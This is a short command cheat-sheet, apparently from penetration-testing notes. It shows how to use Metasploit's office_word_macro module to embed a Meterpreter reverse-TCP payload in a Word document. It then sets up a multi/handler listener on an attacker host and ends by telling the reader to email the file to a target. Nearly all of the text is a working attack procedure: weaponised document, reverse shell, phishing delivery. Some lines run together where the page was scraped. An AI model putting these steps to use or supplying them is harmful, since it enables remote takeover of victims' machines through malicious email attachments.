MACRO EMBEDDING DOCX
root@oco:~$ msfconsole
root@oco:~$ set payload windows/meterpreter/reverse_tcp
* this payload connects to the specified host & creates a reverse shell
root@oco:~$ use exploit/multi/fileformat/office_word_macro
* use the office_word_macro module to create a document with a macro
root@oco:~$ set LHOST {attackerIP}
root@oco:~$ set LPORT {attackerIncomingConnectionPort}
root@oco:~$ show options
root@oco:~$ {run | exploit}
* this generates a macro & embeds it in a document
root@oco:~$ exitroot@oco:~$ msfconsole
root@oco:~$ use multi/handler
* this handles incoming connections
root@oco:~$ set payload windows/meterpreter/reverse_tcp
* reiterating the payload in the listener ensures that this payload works with the payload used when creating the malicious macro
root@oco:~$ set LHOST {attackerIP}
* should be the same as the one used when creating the malicious document
root@oco:~$ set LPORT {listeningPortNumber}
root@oco:~$ show options
root@oco:~$ run
* send the malicious macro-enabled docx file to the target via email & wait for them to open the fileLast updated